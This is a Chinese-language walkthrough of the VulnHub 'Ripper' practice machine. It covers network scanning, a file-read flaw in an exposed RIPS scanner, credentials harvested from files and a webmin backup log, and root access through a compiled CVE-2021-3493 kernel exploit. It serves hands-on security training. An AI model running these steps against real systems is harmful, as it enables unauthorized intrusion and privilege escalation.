靶机介绍
1)靶机地址:https://download.vulnhub.com/ripper/Ripper.ova
2)靶机难度:低→中
3)打靶目标: 取得 root 权限 + 2 Flag
4)涉及攻击方法:主机发现、端口扫描、WEB信息搜索、内部系统泄漏、代码审计、备份文件泄密、Webmin漏洞利用、Metasploit、CVE-2021-3493
5)靶机简介:本次来打靶一台中低难度的靶机,其中不包含任何高难度的漏洞,要攻破它主要依靠信息收集。很多企业由于权限管理不当,会误将内部应用发布到公网之上,甚至可能连最基本的身份认证都不需要就可以直接访问。对于该靶机,不需要暴力破解,即可搜索发现内网代码审计平台的入口,进而自动审计目标应用的代码漏洞,并最终实现突破边界。提权阶段,我们仍然依靠信息收集手段登录Webmin平台,并利用其自身功能获取目标系统的最高权限。
打靶过程
1)主机发现
# arp-scan --interface=eth1 --localnet
2)全端口扫描
# nmap -p- 192.168.56.125
3)服务版本扫描
# nmap -p22,80,10000 -sC -sV 192.168.56.125
webmin是一个基于web界面可以对服务器操作系统进行远程管理的web应用
4)访问靶机的80端口和10000端口上的应用
①先访问http://192.168.56.125返回的只是一个apache的起始页面,同时访问http://192.168.56.125/robots.txt显示不存在
②访问http://192.168.56.125:10000/,显示web服务是使用的ssl协议,因此通过https进行访问
http://192.168.56.125:10000/
https://192.168.56.125:10000/
如果可以使用用户名和密码登录至该系统,就可打开一个类似ssh的终端用于管理服务器操作系统,尝试多个弱口令都未能登陆至目标系统
5)通过尝试发现,在10000端口的web服务中存在robots.txt文件
http://192.168.56.125:10000/robots.txt
通过访问robots.txt文件,发现了一串base64编码后的字符,对其进行解码
# echo "d2Ugc2NhbiBwaHAgY29kZXMgd2l0aCByaXBzCg==" |base64 -d
根据解码后的内容可知:可以使用rips扫描php代码。rips是一个静态的PHP源码分析软件
RIPS官网:https://rips-scanner.sourceforge.net/
6)尝试在目标靶机的80端口和10000端口分别查看是否存在rips的web应用,发现在80端口上存在rips
https://192.168.56.125:10000/rips #404
http://192.168.56.125/rips
7)使用rips对目标服务器上的站点进行漏洞扫描,勾选subdir表示同时对/var/www下的任何目录下的php文件都进行漏洞检测
搜索发现多个文件泄露的漏洞,可以进行简单利用,读取源码
http://192.168.56.125/rips/windows/code.php?file=/var/www/html/rips/windows/code.php
8)通过使用rips在所有的php文件检索pass,检索到一个用户名 ripper和密码Gamespeopleplay
9)尝试使用用户名 ripper和密码Gamespeopleplay登录webmin失败,尝试通过ssh登录成功
# ssh [email protected]
10)信息搜集:查看操作系统内核版本及系统版本,发现使用的是ubuntu18.04版本,根据之前打靶可知,该版本的操作系统存在CVE-2021-3493漏洞
$ uname -a
$ lsb_release -a
11)z使用CVE-2021-3493进行提权
kali:
CVE-2021-3493下载地址:https://github.com//briskets//CVE-2021-3493
# unzip CVE-2021-3493-main.zip
# rm -rf CVE-2021-3493-main.zip
# cd CVE-2021-3493-main
# gcc -o exp exploit.c
# scp exp [email protected]:~
12)直接使用漏洞利用代码进行提权,获取flag
$ ./exp
注:靶机是在2021年6月份发布,但是CVE-2021-3493是在2021年9月份公布的,所以在靶机作者在发布靶机时,该漏洞还没有公布,所以次靶机还有其他的提权方式
13)按照第九步的,通过用户名 ripper和密码Gamespeopleplay使用ssh服务登陆只目标系统后,可在自己的家目录下获取到第一个flag文件
14)在/home目录下,除了ripper用户外,还存在一个cubes用户。
找出在操作系统中属主为cubes用户的文件,同时该文件允许ripper可以读取或者执行,进而通过这些文件可以提权至cubes用户
$ find / -user cubes -type f -exec ls -la {} \; 2>/dev/null
通过查找发现,存在一个secret.file文件,该文件中包含一个密码Il00tpeople
15)尝试通过用户名cubes和密码Il00tpeople登录web系统或者使用ssh协议登录。发现通过ssh可成功登入目标系统
# ssh [email protected]
16)登入系统后,通用查看当前系统中属主为cubes的文件过滤出来
$ find / -user cubes -type f -exec ls -la {} \; 2>/dev/null |grep -v "proc" |grep -v ".png"
在/var/webmin/backup/miniser.log文件中存在一个用户名admin和密码tokiohotel
$ cat /var/webmin/backup/miniser.log
17)尝试通过用户名admin和密码tokiohotel登录webmin应用程序,发现可成功登录
18)打开webmin应用的命令行管理界面,发现权限为root权限,可直接获取到flag
19)获取到webmin的用户名和密码后,也可使用MSF获取到目标靶机的shell
# searchsploit webmin